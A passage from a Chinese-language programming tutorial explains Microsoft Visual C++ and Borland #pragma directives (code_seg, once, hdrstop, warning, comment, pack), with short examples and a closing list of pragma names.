    该指令用来指定函数在 .obj 文件中存放的节,观察 OBJ 文件可以使用 VC 自带的 dumpbin 程序,函数在 .obj 文件中默认的存放节(既默认 segment )为 .text 。

    push (可选参数) 将一个记录放到内部编译器的堆栈中,可选参数可以为一个标识符或者节名
    pop (可选参数) 将一个记录从堆栈顶端弹出,该记录可以为一个标识符或者节名
    identifier (可选参数) 当使用push指令时,为压入堆栈的记录指派的一个标识符,当该标识符被删除的时候和其相关的堆栈中的记录将被弹出堆栈
    “segment-name” (可选参数) 表示函数存放的节名
    “segment-class” (可选参数) Included for compatibility with C++ prior to version 2.0. It is ignored.

    例如:

    void func1() {  // stored in .text segment
    	// ...
    }
    
    #pragma code_seg(".my_data1")
    void func2() {  // stored in my_data1 segment
    	// ...
    }
    
    #pragma code_seg(push, r1, ".my_data2")
    void func3() {  // stored in my_data2 segment
    	// ...
    }
    
    int main() {
    
    }
    

    三. #pragma once (常用)

    这是一个比较常用的指令, 只要在头文件的最开始加入这条指令就能够保证头文件被编译一次

    四. #pragma hdrstop

    表示预编译头文件到此为止,后面的头文件不进行预编译。

    BCB可以预编译头文件以加快链接的速度,但如果所有头文件都进行预编译又可能占太多磁盘空间,所以使用这个选项排除一些头文件。

    有时单元之间有依赖关系,比如单元A依赖单元B,所以单元B要先于单元A编译。你可以用 #pragma startup 指定编译优先级,如果使用了 #pragma package(smart_init) ,BCB就会根据优先级的大小先后编译。

    五. #pragma warning

    该指令允许有选择性的修改编译器的警告消息的行为

    指令格式如下:

    #pragma warning( warning-specifier : warning-number-list [; warning-specifier : warning-number-list...]
    #pragma warning( push[ ,n ] )
    #pragma warning( pop )
    

    主要用到的警告表示有如下几个:

    • once : 只显示一次(警告/错误等)消息
    • default : 重置编译器的警告行为到默认状态
    • 1,2,3,4 : 四个警告级别
    • disable : 禁止指定的警告信息
    • error : 将指定的警告信息作为错误报告

    如果大家对上面的解释不是很理解,可以参考一下下面的例子及说明

    #pragma warning( disable : 4507 34; once : 4385; error : 164 )
    

    等价于:

    #pragma warning(disable:4507 34) // 不显示4507和34号警告信息
    #pragma warning(once:4385) // 4385号警告信息仅报告一次
    #pragma warning(error:164) // 把164号警告信息作为一个错误。
    

    同时这个 pragma warning 也支持如下格式:

    #pragma warning( push [ ,n ] )
    #pragma warning( pop )
    

    这里n代表一个警告等级(1—4)。

    #pragma warning( push ) // 保存所有警告信息的现有的警告状态。
    #pragma warning( push, n) // 保存所有警告信息的现有的警告状态,并且把全局警告
    

    等级设定为n。

    #pragma warning( pop )向栈中弹出最后一个警告信息,在入栈和出栈之间所作的
    

    一切改动取消。例如:

    #pragma warning( push )
    #pragma warning( disable : 4705 )
    #pragma warning( disable : 4706 )
    #pragma warning( disable : 4707 )
    #pragma warning( pop )
    

    在这段代码的最后,重新保存所有的警告信息(包括 4705,4706 和 4707 )

    在使用标准C++进行编程的时候经常会得到很多的警告信息,而这些警告信息都是不必要的提示,所以我们可以使用#pragma warning(disable:4786) 来禁止该类型的警告。

    在vc中使用ADO的时候也会得到不必要的警告信息,这个时候我们可以通过 #pragma warning(disable:4146) 来消除该类型的警告信息。

    六. pragma comment

    该指令的格式为

    #pragma comment( “comment-type” [, commentstring] )

    该指令将一个注释记录放入一个对象文件或可执行文件中, comment-type(注释类型): 可以指定为 compiler、exestr、lib、linker、user 五种预定义的标识符的中的任意一种。

    compiler 选项

    将编译器的版本号和名称放入目标文件中,本条注释记录将被编译器忽略。如果你为该记录类型提供了 commentstring 参数,编译器将会产生一个警告。

    exestr 选项

    该选项将 commentstring 参数放入目标文件中,在链接的时候这个字符串将被放入到可执行文件中,当操作系统加载可执行文件的时候,该参数字符串不会被加载到内存中。但是,该字符串可以被 dumpbin 之类的程序查找出并打印出来,你可以用这个标识符将版本号码之类的信息嵌入到可执行文件中!

    lib 选项 (常用)

    这是一个非常常用的关键字,用来将一个库文件链接到目标文件中

    常用的lib关键字,可以帮我们连入一个库文件。

    例如:

    #pragma comment(lib, "user32.lib")
    

    该指令用来将user32.lib库文件加入到本工程中

    linker 选项

    将一个链接选项放入目标文件中,你可以使用这个指令来代替由命令行传入的或者在开发环境中设置的链接选项,你可以指定 /include 选项来强制包含某个对象,例如:

    #pragma comment(linker, "/include:__mySymbol")
    

    你可以在程序中设置下列链接选项

    /DEFAULTLIB
    /EXPORT
    /INCLUDE
    /MERGE
    /SECTION

    这些选项在这里就不一一说明了, 详细信息请看msdn

    默认隐藏 cmd 窗口的编译选项

    #pragma comment( linker, "/subsystem:"windows" /entry:"mainCRTStartup"" )
    

    user 选项

    将一般的注释信息放入目标文件中 commentstring 参数包含注释的文本信息,这个注释记录将被链接器忽略

    例如:

    #pragma comment( user, "Compiled on " __DATE__ " at " __TIME__ )
    
    //补充一个
    #pragma pack(n)
    
    // 控制对齐 如
    #pragma pack(push)
    
    #pragma pack(1)
    
    struct s_1{
    	char szname[1];
    	int a;
    };
    
    #pragma pack(pop)
    
    struct s_2{
    	char szname[1];
    	int a;
    };
    
    // ...
    
    printf("s_1 size : %d/n", sizeof(struct s_1));
    printf("s_2 size : %d/n", sizeof(struct s_2));
    

    输出得到5,8。

    七. #pragma 选项列表(全)

    alloc_text auto_inline bss_seg
    check_stack code_seg comment
    component conform const_seg
    data_seg deprecated detect_mismatch
    fenv_access float_control fp_contract
    function hdrstop include_alias
    init_seg inline_depth inline_recursion
    intrinsic loop make_public
    managed message
    omp once
    optimize pack pointers_to_members
    pop_macro push_macro region, endregion
    runtime_checks section setlocale
    strict_gs_check unmanaged vtordisp
    warning